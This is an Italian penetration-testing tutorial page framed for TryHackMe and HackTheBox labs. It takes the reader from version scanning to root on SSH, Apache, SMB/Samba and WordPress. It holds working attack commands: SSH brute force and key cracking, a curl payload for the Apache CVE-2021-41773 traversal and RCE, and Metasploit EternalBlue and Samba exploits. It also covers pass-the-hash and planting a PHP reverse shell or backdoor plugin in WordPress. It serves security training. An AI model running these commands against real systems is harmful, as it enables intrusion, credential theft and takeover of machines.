Home › Exploitation › Exploitare i servizi

Exploitare i servizi (SSH · Apache · SMB/Samba · WordPress)

Come lavora davvero un hacker: da "porta aperta" a "shell/root". Il flusso versione → vulnerabilità → exploit, applicato ai servizi più comuni.

Solo su lab (TryHackMe/HackTheBox) o sistemi tuoi. Ogni sezione ha la box giusta dove provarlo.

Come capisci se una macchina è vulnerabile?

Non si "indovina": si segue un metodo. Tre modi, dal più affidabile:

1) Versione del servizio → CVE → exploit

Trovi la versione esatta (con Nmap -sV), poi cerchi exploit noti per quella versione:

nmap -sV -p- 10.10.123.45
# es. output: "vsftpd 2.3.4" o "Apache httpd 2.4.49"

# cerca exploit offline (Exploit-DB)
searchsploit apache 2.4.49
searchsploit vsftpd 2.3.4
# cerca online: exploit-db.com, cvedetails.com, o Google "<software> <versione> exploit/CVE"

2) Scanner di vulnerabilità

# script "vuln" di Nmap: testa vulnerabilità note
nmap --script vuln -p 445,80 10.10.123.45
# nuclei: migliaia di template per falle web note
nuclei -u http://10.10.123.45
# scanner completi (rumorosi): Nessus, OpenVAS

3) Testare a mano il comportamento

Login anonimi, default credentials, parametri manipolabili, pagine di errore verbose. Spesso la "vulnerabilità" è una misconfigurazione, non una CVE.

Regola: ogni versione trovata → una ricerca CVE. Il 90% delle box si apre così: versione vecchia → exploit pubblico.

SSH (porta 22)

SSH di solito è robusto: raramente c'è un RCE diretto. Le strade reali sono credenziali e chiavi.

# 1) versione dal banner (per cercare CVE)
nc 10.10.123.45 22          # es. "SSH-2.0-OpenSSH_8.2p1"

# 2) enumerazione utenti (alcune versioni: CVE-2018-15473)
searchsploit openssh username

# 3) brute force / password spray (se hai una lista utenti)
hydra -L utenti.txt -P /usr/share/wordlists/rockyou.txt ssh://10.10.123.45

# 4) chiave privata trovata (in una share/web/backup)
chmod 600 id_rsa
ssh -i id_rsa utente@10.10.123.45
# se la chiave ha passphrase: craccala
ssh2john id_rsa > h.txt && john --wordlist=rockyou.txt h.txt
  • CVE storica notevole: libssh auth bypass (CVE-2018-10933) — non OpenSSH ma libssh lato server.
  • Riuso chiavi: una id_rsa trovata su un host spesso apre altri host.
THMBasic PentestingFacileEnum utenti + brute SSH + chiave: percorso SSH completo.

Apache / web server (80/443)

Qui il web server o l'applicazione che ospita sono la via. Due livelli:

A) Vulnerabilità di Apache stesso (dalla versione)

# Apache 2.4.49 → path traversal + RCE (CVE-2021-41773)
curl --path-as-is "http://10.10.123.45/cgi-bin/.%2e/.%2e/.%2e/etc/passwd"
# se mod_cgi è attivo → RCE:
curl --path-as-is -d "echo;id" "http://10.10.123.45/cgi-bin/.%2e/.%2e/bin/sh"
# 2.4.50 → bypass del fix (CVE-2021-42013). Altre: mod_status, .htaccess esposti

B) L'applicazione ospitata

# scopri contenuti nascosti e tecnologie
gobuster dir -u http://10.10.123.45 -w /usr/share/wordlists/dirb/common.txt -x php,txt
whatweb http://10.10.123.45
# da qui → SQLi / LFI / upload / command injection

Vedi SQLi, LFI/RCE/Upload. Trovato un CMS (WordPress/Joomla/Drupal)? vai alla sezione dedicata.

THMRootMeFacileWeb Apache → upload shell PHP → privesc SUID. Classico end-to-end.

SMB / Samba → root

SMB (445) è una miniera. Due scenari diversi: Windows e Samba (Linux).

1) Enumerazione (sempre)

smbclient -L //10.10.123.45/ -N       # share anonime
enum4linux -a 10.10.123.45            # utenti, share, os, versione
nmap -p445 --script smb-vuln* 10.10.123.45

2) Windows: EternalBlue (MS17-010) → SYSTEM

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.123.45 ; set LHOST tun0
exploit        # → shell come NT AUTHORITY\SYSTEM (root di Windows)

3) Samba (Linux): SambaCry (CVE-2017-7494) → root

# Samba 3.5.0–4.x con share scrivibile: RCE come root
use exploit/linux/samba/is_known_pipename
set RHOSTS 10.10.123.45 ; exploit
# altra classica: usermap_script (Samba 3.0.20) → root
use exploit/multi/samba/usermap_script

4) Con credenziali/hash → esecuzione come admin

psexec.py Administrator@10.10.123.45          # password
psexec.py -hashes :<hash_ntlm> Administrator@10.10.123.45  # pass-the-hash
nxc smb 10.10.123.45 -u user -p pass --shares

Le share spesso contengono password/chiavi/backup → riusale per SSH o WinRM. Approfondimenti: Active Directory, Enumeration.

THMBlueFacileEternalBlue su SMB Windows → SYSTEM. Fatta apposta per questa tecnica. HTBLameFacile · retiredSamba usermap_script → root diretto (serve VIP).

WordPress → reverse shell

WordPress è ovunque ed è pieno di strade. Flusso tipico:

1) Enumerazione con wpscan

# utenti, plugin/temi vulnerabili, versione
wpscan --url http://10.10.123.45 --enumerate u,vp,vt
# brute force della password di un utente trovato (es. admin)
wpscan --url http://10.10.123.45 -U admin -P /usr/share/wordlists/rockyou.txt

2a) Da admin → shell via Theme Editor (il metodo classico)

  1. Login su /wp-admin con le credenziali trovate.
  2. Appearance → Theme Editor → scegli un tema non attivo → apri 404.php.
  3. Incolla una reverse shell PHP (da revshells.com), aggiorna il file.
  4. Metti in ascolto e richiama la pagina del tema:
nc -lvnp 4444
curl http://10.10.123.45/wp-content/themes/twentyfifteen/404.php
# → shell come www-data

2b) In alternativa: plugin malevolo o CVE di un plugin

# Metasploit carica un plugin backdoor con credenziali admin valide
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 10.10.123.45 ; set USERNAME admin ; set PASSWORD trovata
set LHOST tun0 ; exploit
# molti plugin hanno CVE di upload/RCE: cerca con wpscan/searchsploit

3) Da www-data → root

Ottenuta la shell, stabilizzala e fai privilege escalation: Privesc Linux (spesso credenziali DB in wp-config.php riusate per l'utente di sistema).

THMBlogMedioWordPress reale: enum → exploit → shell → privesc. Perfetta per questa sezione. THMHackPark / altre CMSMedioBrute di login + RCE su CMS: stesso flusso applicato ad altri CMS.

Il flusso mentale (come lavorano gli hacker)

  1. Scan tutte le porte → lista servizi (Nmap).
  2. Per ogni servizio: versione → cerca CVE + enumera (utenti, share, path).
  3. Foothold: exploit pubblico, credenziali deboli, o falla web → prima shell (di solito utente basso, www-data).
  4. Stabilizza la shell + raccogli info locali (Linux).
  5. Privilege escalation → root/SYSTEM (Linux / Windows).
  6. Post-exploitation: credenziali, pivoting verso altre macchine, loot.
  7. Documenta tutto (screenshot, comandi, impatto).
Ripetilo su 20-30 box facili di THM/HTB e il flusso diventa automatico. È così che si impara davvero, non a memoria.
Sui tuoi libri: The Basics of Hacking and Penetration Testing, Metasploit – The Penetration Tester's Guide, Hacking Exposed, Ethical Hacking and Penetration Testing Guide. Vedi Risorse.